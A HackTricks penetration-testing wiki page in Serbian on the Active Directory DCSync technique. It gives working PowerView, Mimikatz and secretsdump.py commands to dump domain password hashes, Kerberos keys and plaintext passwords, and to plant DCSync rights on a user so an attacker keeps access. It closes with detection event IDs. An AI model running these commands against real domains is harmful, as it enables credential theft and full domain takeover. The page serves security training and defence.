DCSync

Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice na svetu. Dobijte pristup danas:

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

DCSync

Dozvola DCSync implicira imanje ovih dozvola nad samim domenom: DS-Replication-Get-Changes, Replicating Directory Changes All i Replicating Directory Changes In Filtered Set.

Važne napomene o DCSync-u:

  • DCSync napad simulira ponašanje kontrolera domena i traži od drugih kontrolera domena da repliciraju informacije koristeći protokol za udaljenu replikaciju direktorijuma (MS-DRSR). Budući da je MS-DRSR validna i neophodna funkcija Active Directory-ja, ne može se isključiti ili onemogućiti.

  • Podrazumevano, samo grupe Domain Admins, Enterprise Admins, Administrators i Domain Controllers imaju potrebne privilegije.

  • Ako su lozinke bilo kog naloga sačuvane sa reverzibilnom enkripcijom, opcija u Mimikatz-u omogućava vraćanje lozinke u čistom tekstu

Enumeracija

Proverite ko ima ove dozvole koristeći powerview:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

Iskoristi lokalno

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Iskoristi udaljeno

secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking

-just-dc generiše 3 datoteke:

  • jednu sa NTLM heševima

  • jednu sa Kerberos ključevima

  • jednu sa lozinkama u obliku čistog teksta iz NTDS-a za sve naloge postavljene sa reversible encryption omogućenim. Korisnike sa reversible encryption možete dobiti sa

Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

Persistencija

Ako ste admin domena, možete dodeliti ova ovlašćenja bilo kom korisniku uz pomoć powerview:

Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose

Zatim, možete proveriti da li je korisnik pravilno dodeljen 3 privilegije tražeći ih u izlazu (trebalo bi da možete videti imena privilegija unutar polja "ObjectType"):

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}

Mitigacija

  • Bezbednosni događaj ID 4662 (Auditna politika za objekat mora biti omogućena) - Izvršena je operacija na objektu

  • Bezbednosni događaj ID 5136 (Auditna politika za objekat mora biti omogućena) - Modifikovan je objekat u direktorijumskoj usluzi

  • Bezbednosni događaj ID 4670 (Auditna politika za objekat mora biti omogućena) - Dozvole na objektu su promenjene

  • AD ACL Skener - Kreirajte i uporedite izveštaje o ACL-ovima. https://github.com/canix1/ADACLScanner

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Koristite Trickest da biste lako kreirali i automatizovali radne tokove uz pomoć najnaprednijih alata zajednice na svetu. Pristupite danas:

Last updated